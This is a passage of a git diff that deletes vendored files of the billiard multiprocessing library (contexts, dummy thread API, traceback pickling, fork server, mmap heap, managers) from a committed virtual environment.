'win32': - return ['spawn'] - else: - from . import reduction - if reduction.HAVE_SEND_HANDLE: - return ['fork', 'spawn', 'forkserver'] - else: - return ['fork', 'spawn'] - -DefaultContext.__all__ = list(x for x in dir(DefaultContext) if x[0] != '_') - -# -# Context types for fixed start method -# - -if sys.platform != 'win32': - - class ForkProcess(process.BaseProcess): - _start_method = 'fork' - - @staticmethod - def _Popen(process_obj): - from .popen_fork import Popen - return Popen(process_obj) - - class SpawnProcess(process.BaseProcess): - _start_method = 'spawn' - - @staticmethod - def _Popen(process_obj): - from .popen_spawn_posix import Popen - return Popen(process_obj) - - class ForkServerProcess(process.BaseProcess): - _start_method = 'forkserver' - - @staticmethod - def _Popen(process_obj): - from .popen_forkserver import Popen - return Popen(process_obj) - - class ForkContext(BaseContext): - _name = 'fork' - Process = ForkProcess - - class SpawnContext(BaseContext): - _name = 'spawn' - Process = SpawnProcess - - class ForkServerContext(BaseContext): - _name = 'forkserver' - Process = ForkServerProcess - - def _check_available(self): - from . import reduction - if not reduction.HAVE_SEND_HANDLE: - raise ValueError('forkserver start method not available') - - _concrete_contexts = { - 'fork': ForkContext(), - 'spawn': SpawnContext(), - 'forkserver': ForkServerContext(), - } - _default_context = DefaultContext(_concrete_contexts['fork']) - -else: - - class SpawnProcess(process.BaseProcess): - _start_method = 'spawn' - - @staticmethod - def _Popen(process_obj): - from .popen_spawn_win32 import Popen - return Popen(process_obj) - - class SpawnContext(BaseContext): - _name = 'spawn' - Process = SpawnProcess - - _concrete_contexts = { - 'spawn': SpawnContext(), - } - _default_context = DefaultContext(_concrete_contexts['spawn']) - -# -# Force the start method -# - - -def _force_start_method(method): - _default_context._actual_context = _concrete_contexts[method] - -# -# Check that the current thread is spawning a child process -# - -_tls = threading.local() - - -def get_spawning_popen(): - return getattr(_tls, 'spawning_popen', None) - - -def set_spawning_popen(popen): - _tls.spawning_popen = popen - - -def assert_spawning(obj): - if get_spawning_popen() is None: - raise RuntimeError( - '%s objects should only be shared between processes' - ' through inheritance' % type(obj).__name__ - ) diff --git a/venv/Lib/site-packages/billiard/dummy/__init__.py b/venv/Lib/site-packages/billiard/dummy/__init__.py deleted file mode 100644 index 1ba3e90da80a9ec4905b15f008853294ad1b97d2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/dummy/__init__.py +++ /dev/null @@ -1,166 +0,0 @@ -# -# Support for the API of the multiprocessing package using threads -# -# multiprocessing/dummy/__init__.py -# -# Copyright (c) 2006-2008, R Oudkerk -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without -# modification, are permitted provided that the following conditions -# are met: -# -# 1. Redistributions of source code must retain the above copyright -# notice, this list of conditions and the following disclaimer. -# 2. Redistributions in binary form must reproduce the above copyright -# notice, this list of conditions and the following disclaimer in the -# documentation and/or other materials provided with the distribution. -# 3. Neither the name of author nor the names of any contributors may be -# used to endorse or promote products derived from this software -# without specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" AND -# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE -# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS -# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) -# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY -# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF -# SUCH DAMAGE. -# - -# -# Imports -# - -import threading -import sys -import weakref -import array - -from threading import Lock, RLock, Semaphore, BoundedSemaphore -from threading import Event - -from queue import Queue - -from billiard.connection import Pipe - -__all__ = [ - 'Process', 'current_process', 'active_children', 'freeze_support', - 'Lock', 'RLock', 'Semaphore', 'BoundedSemaphore', 'Condition', - 'Event', 'Queue', 'Manager', 'Pipe', 'Pool', 'JoinableQueue' -] - - -class DummyProcess(threading.Thread): - - def __init__(self, group=None, target=None, name=None, args=(), kwargs={}): - threading.Thread.__init__(self, group, target, name, args, kwargs) - self._pid = None - self._children = weakref.WeakKeyDictionary() - self._start_called = False - self._parent = current_process() - - def start(self): - assert self._parent is current_process() - self._start_called = True - if hasattr(self._parent, '_children'): - self._parent._children[self] = None - threading.Thread.start(self) - - @property - def exitcode(self): - if self._start_called and not self.is_alive(): - return 0 - else: - return None - - -try: - _Condition = threading._Condition -except AttributeError: # Py3 - _Condition = threading.Condition # noqa - - -class Condition(_Condition): - if sys.version_info[0] == 3: - notify_all = _Condition.notifyAll - else: - notify_all = _Condition.notifyAll.__func__ - - -Process = DummyProcess -current_process = threading.current_thread -current_process()._children = weakref.WeakKeyDictionary() - - -def active_children(): - children = current_process()._children - for p in list(children): - if not p.is_alive(): - children.pop(p, None) - return list(children) - - -def freeze_support(): - pass - - -class Namespace(object): - - def __init__(self, **kwds): - self.__dict__.update(kwds) - - def __repr__(self): - items = list(self.__dict__.items()) - temp = [] - for name, value in items: - if not name.startswith('_'): - temp.append('%s=%r' % (name, value)) - temp.sort() - return '%s(%s)' % (self.__class__.__name__, str.join(', ', temp)) - - -dict = dict -list = list - - -def Array(typecode, sequence, lock=True): - return array.array(typecode, sequence) - - -class Value(object): - - def __init__(self, typecode, value, lock=True): - self._typecode = typecode - self._value = value - - def _get(self): - return self._value - - def _set(self, value): - self._value = value - value = property(_get, _set) - - def __repr__(self): - return '<%r(%r, %r)>' % (type(self).__name__, - self._typecode, self._value) - - -def Manager(): - return sys.modules[__name__] - - -def shutdown(): - pass - - -def Pool(processes=None, initializer=None, initargs=()): - from billiard.pool import ThreadPool - return ThreadPool(processes, initializer, initargs) - - -JoinableQueue = Queue diff --git a/venv/Lib/site-packages/billiard/dummy/connection.py b/venv/Lib/site-packages/billiard/dummy/connection.py deleted file mode 100644 index fe2de94ff2a5640f4a509b0b1feb5b6e6b91c2d5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/dummy/connection.py +++ /dev/null @@ -1,92 +0,0 @@ -# -# Analogue of `multiprocessing.connection` which uses queues instead of sockets -# -# multiprocessing/dummy/connection.py -# -# Copyright (c) 2006-2008, R Oudkerk -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without -# modification, are permitted provided that the following conditions -# are met: -# -# 1. Redistributions of source code must retain the above copyright -# notice, this list of conditions and the following disclaimer. -# 2. Redistributions in binary form must reproduce the above copyright -# notice, this list of conditions and the following disclaimer in the -# documentation and/or other materials provided with the distribution. -# 3. Neither the name of author nor the names of any contributors may be -# used to endorse or promote products derived from this software -# without specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" AND -# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE -# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS -# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) -# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY -# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF -# SUCH DAMAGE. -# - -from queue import Queue - -__all__ = ['Client', 'Listener', 'Pipe'] - -families = [None] - - -class Listener(object): - - def __init__(self, address=None, family=None, backlog=1): - self._backlog_queue = Queue(backlog) - - def accept(self): - return Connection(*self._backlog_queue.get()) - - def close(self): - self._backlog_queue = None - - address = property(lambda self: self._backlog_queue) - - def __enter__(self): - return self - - def __exit__(self, *exc_info): - self.close() - - -def Client(address): - _in, _out = Queue(), Queue() - address.put((_out, _in)) - return Connection(_in, _out) - - -def Pipe(duplex=True): - a, b = Queue(), Queue() - return Connection(a, b), Connection(b, a) - - -class Connection(object): - - def __init__(self, _in, _out): - self._out = _out - self._in = _in - self.send = self.send_bytes = _out.put - self.recv = self.recv_bytes = _in.get - - def poll(self, timeout=0.0): - if self._in.qsize() > 0: - return True - if timeout <= 0.0: - return False - self._in.not_empty.acquire() - self._in.not_empty.wait(timeout) - self._in.not_empty.release() - return self._in.qsize() > 0 - - def close(self): - pass diff --git a/venv/Lib/site-packages/billiard/einfo.py b/venv/Lib/site-packages/billiard/einfo.py deleted file mode 100644 index 23ea4d2c7894fd5ca89d48613651e43f0c2a956c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/einfo.py +++ /dev/null @@ -1,193 +0,0 @@ -import sys -import traceback - -__all__ = ['ExceptionInfo', 'Traceback'] - -DEFAULT_MAX_FRAMES = sys.getrecursionlimit() // 8 - - -class _Code: - - def __init__(self, code): - self.co_filename = code.co_filename - self.co_name = code.co_name - self.co_argcount = code.co_argcount - self.co_cellvars = () - self.co_firstlineno = code.co_firstlineno - self.co_flags = code.co_flags - self.co_freevars = () - self.co_code = b'' - self.co_lnotab = b'' - self.co_names = code.co_names - self.co_nlocals = code.co_nlocals - self.co_stacksize = code.co_stacksize - self.co_varnames = () - if sys.version_info >= (3, 11): - self.co_qualname = code.co_qualname - self._co_positions = list(code.co_positions()) - - if sys.version_info >= (3, 11): - @property - def co_positions(self): - return self._co_positions.__iter__ - - -class _Frame: - Code = _Code - - def __init__(self, frame): - self.f_builtins = {} - self.f_globals = { - "__file__": frame.f_globals.get("__file__", "__main__"), - "__name__": frame.f_globals.get("__name__"), - "__loader__": None, - } - self.f_locals = fl = {} - try: - fl["__traceback_hide__"] = frame.f_locals["__traceback_hide__"] - except KeyError: - pass - self.f_back = None - self.f_trace = None - self.f_exc_traceback = None - self.f_exc_type = None - self.f_exc_value = None - self.f_code = self.Code(frame.f_code) - self.f_lineno = frame.f_lineno - self.f_lasti = frame.f_lasti - # don't want to hit https://bugs.python.org/issue21967 - self.f_restricted = False - - if sys.version_info >= (3, 11): - @property - def co_positions(self): - return self.f_code.co_positions - - -class _Object: - - def __init__(self, **kw): - [setattr(self, k, v) for k, v in kw.items()] - - if sys.version_info >= (3, 11): - __default_co_positions__ = ((None, None, None, None),) - - @property - def co_positions(self): - return getattr( - self, - "_co_positions", - self.__default_co_positions__ - ).__iter__ - - @co_positions.setter - def co_positions(self, value): - self._co_positions = value # noqa - - -class _Truncated: - - def __init__(self): - self.tb_lineno = -1 - self.tb_frame = _Object( - f_globals={"__file__": "", - "__name__": "", - "__loader__": None}, - f_fileno=None, - f_code=_Object(co_filename="...", - co_name="[rest of traceback truncated]"), - ) - self.tb_next = None - self.tb_lasti = 0 - - if sys.version_info >= (3, 11): - @property - def co_positions(self): - return self.tb_frame.co_positions - - -class Traceback: - Frame = _Frame - - def __init__(self, tb, max_frames=DEFAULT_MAX_FRAMES, depth=0): - self.tb_frame = self.Frame(tb.tb_frame) - self.tb_lineno = tb.tb_lineno - self.tb_lasti = tb.tb_lasti - self.tb_next = None - if tb.tb_next is not None: - if depth <= max_frames: - self.tb_next = Traceback(tb.tb_next, max_frames, depth + 1) - else: - self.tb_next = _Truncated() - - -class RemoteTraceback(Exception): - def __init__(self, tb): - self.tb = tb - - def __str__(self): - return self.tb - - -class ExceptionWithTraceback(Exception): - def __init__(self, exc, tb): - self.exc = exc - self.tb = '\n"""\n%s"""' % tb - super().__init__() - - def __str__(self): - return self.tb - - def __reduce__(self): - return rebuild_exc, (self.exc, self.tb) - - -def rebuild_exc(exc, tb): - exc.__cause__ = RemoteTraceback(tb) - return exc - - -class ExceptionInfo: - """Exception wrapping an exception and its traceback. - - :param exc_info: The exception info tuple as returned by - :func:`sys.exc_info`. - - """ - - #: Exception type. - type = None - - #: Exception instance. - exception = None - - #: Pickleable traceback instance for use with :mod:`traceback` - tb = None - - #: String representation of the traceback. - traceback = None - - #: Set to true if this is an internal error. - internal = False - - def __init__(self, exc_info=None, internal=False): - self.type, exception, tb = exc_info or sys.exc_info() - try: - self.tb = Traceback(tb) - self.traceback = ''.join( - traceback.format_exception(self.type, exception, tb), - ) - self.internal = internal - finally: - del tb - self.exception = ExceptionWithTraceback(exception, self.traceback) - - def __str__(self): - return self.traceback - - def __repr__(self): - return "<%s: %r>" % (self.__class__.__name__, self.exception, ) - - @property - def exc_info(self): - return self.type, self.exception, self.tb diff --git a/venv/Lib/site-packages/billiard/exceptions.py b/venv/Lib/site-packages/billiard/exceptions.py deleted file mode 100644 index 11e2e7ec8e01a11b6e23d6083822032f09bfbe20..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/exceptions.py +++ /dev/null @@ -1,52 +0,0 @@ -try: - from multiprocessing import ( - ProcessError, - BufferTooShort, - TimeoutError, - AuthenticationError, - ) -except ImportError: - class ProcessError(Exception): # noqa - pass - - class BufferTooShort(ProcessError): # noqa - pass - - class TimeoutError(ProcessError): # noqa - pass - - class AuthenticationError(ProcessError): # noqa - pass - - -class TimeLimitExceeded(Exception): - """The time limit has been exceeded and the job has been terminated.""" - - def __str__(self): - return "TimeLimitExceeded%s" % (self.args, ) - - -class SoftTimeLimitExceeded(Exception): - """The soft time limit has been exceeded. This exception is raised - to give the task a chance to clean up.""" - - def __str__(self): - return "SoftTimeLimitExceeded%s" % (self.args, ) - - -class WorkerLostError(Exception): - """The worker processing a job has exited prematurely.""" - - -class Terminated(Exception): - """The worker processing a job has been terminated by user request.""" - - -class RestartFreqExceeded(Exception): - """Restarts too fast.""" - - -class CoroStop(Exception): - """Coroutine exit, as opposed to StopIteration which may - mean it should be restarted.""" - pass diff --git a/venv/Lib/site-packages/billiard/forkserver.py b/venv/Lib/site-packages/billiard/forkserver.py deleted file mode 100644 index 9e6a9c916039da7dd2c91767e341e7ed016d36b6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/forkserver.py +++ /dev/null @@ -1,264 +0,0 @@ -import errno -import os -import selectors -import signal -import socket -import struct -import sys -import threading - -from . import connection -from . import process -from . import reduction -from . import semaphore_tracker -from . import spawn -from . import util - -from .compat import spawnv_passfds - -__all__ = ['ensure_running', 'get_inherited_fds', 'connect_to_new_process', - 'set_forkserver_preload'] - -# -# -# - -MAXFDS_TO_SEND = 256 -UNSIGNED_STRUCT = struct.Struct('Q') # large enough for pid_t - -# -# Forkserver class -# - - -class ForkServer: - - def __init__(self): - self._forkserver_address = None - self._forkserver_alive_fd = None - self._inherited_fds = None - self._lock = threading.Lock() - self._preload_modules = ['__main__'] - - def set_forkserver_preload(self, modules_names): - '''Set list of module names to try to load in forkserver process.''' - if not all(type(mod) is str for mod in self._preload_modules): - raise TypeError('module_names must be a list of strings') - self._preload_modules = modules_names - - def get_inherited_fds(self): - '''Return list of fds inherited from parent process. - - This returns None if the current process was not started by fork - server. - ''' - return self._inherited_fds - - def connect_to_new_process(self, fds): - '''Request forkserver to create a child process. - - Returns a pair of fds (status_r, data_w). The calling process can read - the child process's pid and (eventually) its returncode from status_r. - The calling process should write to data_w the pickled preparation and - process data. - ''' - self.ensure_running() - if len(fds) + 4 >= MAXFDS_TO_SEND: - raise ValueError('too many fds') - with socket.socket(socket.AF_UNIX) as client: - client.connect(self._forkserver_address) - parent_r, child_w = os.pipe() - child_r, parent_w = os.pipe() - allfds = [child_r, child_w, self._forkserver_alive_fd, - semaphore_tracker.getfd()] - allfds += fds - try: - reduction.sendfds(client, allfds) - return parent_r, parent_w - except: - os.close(parent_r) - os.close(parent_w) - raise - finally: - os.close(child_r) - os.close(child_w) - - def ensure_running(self): - '''Make sure that a fork server is running. - - This can be called from any process. Note that usually a child - process will just reuse the forkserver started by its parent, so - ensure_running() will do nothing. - ''' - with self._lock: - semaphore_tracker.ensure_running() - if self._forkserver_alive_fd is not None: - return - - cmd = ('from billiard.forkserver import main; ' + - 'main(%d, %d, %r, **%r)') - - if self._preload_modules: - desired_keys = {'main_path', 'sys_path'} - data = spawn.get_preparation_data('ignore') - data = { - x: y for (x, y) in data.items() if x in desired_keys - } - else: - data = {} - - with socket.socket(socket.AF_UNIX) as listener: - address = connection.arbitrary_address('AF_UNIX') - listener.bind(address) - os.chmod(address, 0o600) - listener.listen() - - # all client processes own the write end of the "alive" pipe; - # when they all terminate the read end becomes ready. - alive_r, alive_w = os.pipe() - try: - fds_to_pass = [listener.fileno(), alive_r] - cmd %= (listener.fileno(), alive_r, self._preload_modules, - data) - exe = spawn.get_executable() - args = [exe] + util._args_from_interpreter_flags() - args += ['-c', cmd] - spawnv_passfds(exe, args, fds_to_pass) - except: - os.close(alive_w) - raise - finally: - os.close(alive_r) - self._forkserver_address = address - self._forkserver_alive_fd = alive_w - -# -# -# - - -def main(listener_fd, alive_r, preload, main_path=None, sys_path=None): - '''Run forkserver.''' - if preload: - if '__main__' in preload and main_path is not None: - process.current_process()._inheriting = True - try: - spawn.import_main_path(main_path) - finally: - del process.current_process()._inheriting - for modname in preload: - try: - __import__(modname) - except ImportError: - pass - - # close sys.stdin - if sys.stdin is not None: - try: - sys.stdin.close() - sys.stdin = open(os.devnull) - except (OSError, ValueError): - pass - - # ignoring SIGCHLD means no need to reap zombie processes - handler = signal.signal(signal.SIGCHLD, signal.SIG_IGN) - with socket.socket(socket.AF_UNIX, fileno=listener_fd) as listener, \ - selectors.DefaultSelector() as selector: - _forkserver._forkserver_address = listener.getsockname() - selector.register(listener, selectors.EVENT_READ) - selector.register(alive_r, selectors.EVENT_READ) - - while True: - try: - while True: - rfds = [key.fileobj for (key, events) in selector.select()] - if rfds: - break - - if alive_r in rfds: - # EOF because no more client processes left - assert os.read(alive_r, 1) == b'' - raise SystemExit - - assert listener in rfds - with listener.accept()[0] as s: - code = 1 - if os.fork() == 0: - try: - _serve_one(s, listener, alive_r, handler) - except Exception: - sys.excepthook(*sys.exc_info()) - sys.stderr.flush() - finally: - os._exit(code) - except OSError as e: - if e.errno != errno.ECONNABORTED: - raise - - -def __unpack_fds(child_r, child_w, alive, stfd, *inherited): - return child_r, child_w, alive, stfd, inherited - - -def _serve_one(s, listener, alive_r, handler): - # close unnecessary stuff and reset SIGCHLD handler - listener.close() - os.close(alive_r) - signal.signal(signal.SIGCHLD, handler) - - # receive fds from parent process - fds = reduction.recvfds(s, MAXFDS_TO_SEND + 1) - s.close() - assert len(fds) <= MAXFDS_TO_SEND - - (child_r, child_w, _forkserver._forkserver_alive_fd, - stfd, _forkserver._inherited_fds) = __unpack_fds(*fds) - semaphore_tracker._semaphore_tracker._fd = stfd - - # send pid to client processes - write_unsigned(child_w, os.getpid()) - - # reseed random number generator - if 'random' in sys.modules: - import random - random.seed() - - # run process object received over pipe - code = spawn._main(child_r) - - # write the exit code to the pipe - write_unsigned(child_w, code) - -# -# Read and write unsigned numbers -# - - -def read_unsigned(fd): - data = b'' - length = UNSIGNED_STRUCT.size - while len(data) < length: - s = os.read(fd, length - len(data)) - if not s: - raise EOFError('unexpected EOF') - data += s - return UNSIGNED_STRUCT.unpack(data)[0] - - -def write_unsigned(fd, n): - msg = UNSIGNED_STRUCT.pack(n) - while msg: - nbytes = os.write(fd, msg) - if nbytes == 0: - raise RuntimeError('should not get here') - msg = msg[nbytes:] - -# -# -# - -_forkserver = ForkServer() -ensure_running = _forkserver.ensure_running -get_inherited_fds = _forkserver.get_inherited_fds -connect_to_new_process = _forkserver.connect_to_new_process -set_forkserver_preload = _forkserver.set_forkserver_preload diff --git a/venv/Lib/site-packages/billiard/heap.py b/venv/Lib/site-packages/billiard/heap.py deleted file mode 100644 index 5f940e9c31b02649e099ade94c60b8b8a5025027..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/heap.py +++ /dev/null @@ -1,285 +0,0 @@ -# -# Module which supports allocation of memory from an mmap -# -# multiprocessing/heap.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - -import bisect -import errno -import io -import mmap -import os -import sys -import threading -import tempfile - -from . import context -from . import reduction -from . import util - -from ._ext import _billiard, win32 - -__all__ = ['BufferWrapper'] - -PY3 = sys.version_info[0] == 3 - -# -# Inheritable class which wraps an mmap, and from which blocks can be allocated -# - -if sys.platform == 'win32': - - class Arena: - - _rand = tempfile._RandomNameSequence() - - def __init__(self, size): - self.size = size - for i in range(100): - name = 'pym-%d-%s' % (os.getpid(), next(self._rand)) - buf = mmap.mmap(-1, size, tagname=name) - if win32.GetLastError() == 0: - break - # we have reopened a preexisting map - buf.close() - else: - exc = IOError('Cannot find name for new mmap') - exc.errno = errno.EEXIST - raise exc - self.name = name - self.buffer = buf - self._state = (self.size, self.name) - - def __getstate__(self): - context.assert_spawning(self) - return self._state - - def __setstate__(self, state): - self.size, self.name = self._state = state - self.buffer = mmap.mmap(-1, self.size, tagname=self.name) - # XXX Temporarily preventing buildbot failures while determining - # XXX the correct long-term fix. See issue #23060 - # assert win32.GetLastError() == win32.ERROR_ALREADY_EXISTS - -else: - - class Arena: - - def __init__(self, size, fd=-1): - self.size = size - self.fd = fd - if fd == -1: - if PY3: - self.fd, name = tempfile.mkstemp( - prefix='pym-%d-' % (os.getpid(),), - dir=util.get_temp_dir(), - ) - - os.unlink(name) - util.Finalize(self, os.close, (self.fd,)) - with io.open(self.fd, 'wb', closefd=False) as f: - bs = 1024 * 1024 - if size >= bs: - zeros = b'\0' * bs - for _ in range(size // bs): - f.write(zeros) - del(zeros) - f.write(b'\0' * (size % bs)) - assert f.tell() == size - else: - self.fd, name = tempfile.mkstemp( - prefix='pym-%d-' % (os.getpid(),), - dir=util.get_temp_dir(), - ) - os.unlink(name) - util.Finalize(self, os.close, (self.fd,)) - os.ftruncate(self.fd, size) - self.buffer = mmap.mmap(self.fd, self.size) - - def reduce_arena(a): - if a.fd == -1: - raise ValueError('Arena is unpicklable because' - 'forking was enabled when it was created') - return rebuild_arena, (a.size, reduction.DupFd(a.fd)) - - def rebuild_arena(size, dupfd): - return Arena(size, dupfd.detach()) - - reduction.register(Arena, reduce_arena) - -# -# Class allowing allocation of chunks of memory from arenas -# - - -class Heap: - - _alignment = 8 - - def __init__(self, size=mmap.PAGESIZE): - self._lastpid = os.getpid() - self._lock = threading.Lock() - self._size = size - self._lengths = [] - self._len_to_seq = {} - self._start_to_block = {} - self._stop_to_block = {} - self._allocated_blocks = set() - self._arenas = [] - # list of pending blocks to free - see free() comment below - self._pending_free_blocks = [] - - @staticmethod - def _roundup(n, alignment): - # alignment must be a power of 2 - mask = alignment - 1 - return (n + mask) & ~mask - - def _malloc(self, size): - # returns a large enough block -- it might be much larger - i = bisect.bisect_left(self._lengths, size) - if i == len(self._lengths): - length = self._roundup(max(self._size, size), mmap.PAGESIZE) - self._size *= 2 - util.info('allocating a new mmap of length %d', length) - arena = Arena(length) - self._arenas.append(arena) - return (arena, 0, length) - else: - length = self._lengths[i] - seq = self._len_to_seq[length] - block = seq.pop() - if not seq: - del self._len_to_seq[length], self._lengths[i] - - (arena, start, stop) = block - del self._start_to_block[(arena, start)] - del self._stop_to_block[(arena, stop)] - return block - - def _free(self, block): - # free location and try to merge with neighbours - (arena, start, stop) = block - - try: - prev_block = self._stop_to_block[(arena, start)] - except KeyError: - pass - else: - start, _ = self._absorb(prev_block) - - try: - next_block = self._start_to_block[(arena, stop)] - except KeyError: - pass - else: - _, stop = self._absorb(next_block) - - block = (arena, start, stop) - length = stop - start - - try: - self._len_to_seq[length].append(block) - except KeyError: - self._len_to_seq[length] = [block] - bisect.insort(self._lengths, length) - - self._start_to_block[(arena, start)] = block - self._stop_to_block[(arena, stop)] = block - - def _absorb(self, block): - # deregister this block so it can be merged with a neighbour - (arena, start, stop) = block - del self._start_to_block[(arena, start)] - del self._stop_to_block[(arena, stop)] - - length = stop - start - seq = self._len_to_seq[length] - seq.remove(block) - if not seq: - del self._len_to_seq[length] - self._lengths.remove(length) - - return start, stop - - def _free_pending_blocks(self): - # Free all the blocks in the pending list - called with the lock held - while 1: - try: - block = self._pending_free_blocks.pop() - except IndexError: - break - self._allocated_blocks.remove(block) - self._free(block) - - def free(self, block): - # free a block returned by malloc() - # Since free() can be called asynchronously by the GC, it could happen - # that it's called while self._lock is held: in that case, - # self._lock.acquire() would deadlock (issue #12352). To avoid that, a - # trylock is used instead, and if the lock can't be acquired - # immediately, the block is added to a list of blocks to be freed - # synchronously sometimes later from malloc() or free(), by calling - # _free_pending_blocks() (appending and retrieving from a list is not - # strictly thread-safe but under cPython it's atomic - # thanks to the GIL). - assert os.getpid() == self._lastpid - if not self._lock.acquire(False): - # can't acquire the lock right now, add the block to the list of - # pending blocks to free - self._pending_free_blocks.append(block) - else: - # we hold the lock - try: - self._free_pending_blocks() - self._allocated_blocks.remove(block) - self._free(block) - finally: - self._lock.release() - - def malloc(self, size): - # return a block of right size (possibly rounded up) - assert 0 <= size < sys.maxsize - if os.getpid() != self._lastpid: - self.__init__() # reinitialize after fork - with self._lock: - self._free_pending_blocks() - size = self._roundup(max(size, 1), self._alignment) - (arena, start, stop) = self._malloc(size) - new_stop = start + size - if new_stop < stop: - self._free((arena, new_stop, stop)) - block = (arena, start, new_stop) - self._allocated_blocks.add(block) - return block - -# -# Class representing a chunk of an mmap -- can be inherited -# - - -class BufferWrapper: - - _heap = Heap() - - def __init__(self, size): - assert 0 <= size < sys.maxsize - block = BufferWrapper._heap.malloc(size) - self._state = (block, size) - util.Finalize(self, BufferWrapper._heap.free, args=(block,)) - - def get_address(self): - (arena, start, stop), size = self._state - address, length = _billiard.address_of_buffer(arena.buffer) - assert size <= length - return address + start - - def get_size(self): - return self._state[1] - - def create_memoryview(self): - (arena, start, stop), size = self._state - return memoryview(arena.buffer)[start:start + size] diff --git a/venv/Lib/site-packages/billiard/managers.py b/venv/Lib/site-packages/billiard/managers.py deleted file mode 100644 index 6a496c6544d06ee28e6995c241511b3ca2542306..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/managers.py +++ /dev/null @@ -1,1210 +0,0 @@ -# -# Module providing the `SyncManager` class for dealing -# with shared objects -# -# multiprocessing/managers.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - -# -# Imports -# - -import sys -import threading -import array - -from traceback import format_exc - -from . import connection -from . import context -from . import pool -from . import process -from . import reduction -from . import util -from . import get_context - -from queue import Queue -from time import monotonic - -__all__ = ['BaseManager', 'SyncManager', 'BaseProxy', 'Token'] - -PY3 = sys.version_info[0] == 3 - -# -# Register some things for pickling -# - - -if PY3: - def reduce_array(a): - return array.array, (a.typecode, a.tobytes()) -else: - def reduce_array(a): # noqa - return array.array, (a.typecode, a.tostring()) -reduction.register(array.array, reduce_array) - -view_types = [type(getattr({}, name)()) - for name in ('items', 'keys', 'values')] -if view_types[0] is not list: # only needed in Py3.0 - - def rebuild_as_list(obj): - return list, (list(obj), ) - for view_type in view_types: - reduction.register(view_type, rebuild_as_list) - -# -# Type for identifying shared objects -# - - -class Token: - ''' - Type to uniquely identify a shared object - ''' - __slots__ = ('typeid', 'address', 'id') - - def __init__(self, typeid, address, id): - (self.typeid, self.address, self.id) = (typeid, address, id) - - def __getstate__(self): - return (self.typeid, self.address, self.id) - - def __setstate__(self, state): - (self.typeid, self.address, self.id) = state - - def __repr__(self): - return '%s(typeid=%r, address=%r, id=%r)' % \ - (self.__class__.__name__, self.typeid, self.address, self.id) - -# -# Function for communication with a manager's server process -# - - -def dispatch(c, id, methodname, args=(), kwds={}): - ''' - Send a message to manager using connection `c` and return response - ''' - c.send((id, methodname, args, kwds)) - kind, result = c.recv() - if kind == '#RETURN': - return result - raise convert_to_error(kind, result) - - -def convert_to_error(kind, result): - if kind == '#ERROR': - return result - elif kind == '#TRACEBACK': - assert type(result) is str - return RemoteError(result) - elif kind == '#UNSERIALIZABLE': - assert type(result) is str - return RemoteError('Unserializable message: %s\n' % result) - else: - return ValueError('Unrecognized message type') - - -class RemoteError(Exception): - - def __str__(self): - return ('\n' + '-' * 75 + '\n' + str(self.args[0]) + '-' * 75) - -# -# Functions for finding the method names of an object -# - - -def all_methods(obj): - ''' - Return a list of names of methods of `obj` - ''' - temp = [] - for name in dir(obj): - func = getattr(obj, name) - if callable(func): - temp.append(name) - return temp - - -def public_methods(obj): - ''' - Return a list of names of methods of `obj` which do not start with '_' - ''' - return [name for name in all_methods(obj) if name[0] != '_'] - -# -# Server which is run in a process controlled by a manager -# - - -class Server: - ''' - Server class which runs in a process controlled by a manager object - ''' - public = ['shutdown', 'create', 'accept_connection', 'get_methods', - 'debug_info', 'number_of_objects', 'dummy', 'incref', 'decref'] - - def __init__(self, registry, address, authkey, serializer): - assert isinstance(authkey, bytes) - self.registry = registry - self.authkey = process.AuthenticationString(authkey) - Listener, Client = listener_client[serializer] - - # do authentication later - self.listener = Listener(address=address, backlog=16) - self.address = self.listener.address - - self.id_to_obj = {'0': (None, ())} - self.id_to_refcount = {} - self.mutex = threading.RLock() - - def serve_forever(self): - ''' - Run the server forever - ''' - self.stop_event = threading.Event() - process.current_process()._manager_server = self - try: - accepter = threading.Thread(target=self.accepter) - accepter.daemon = True - accepter.start() - try: - while not 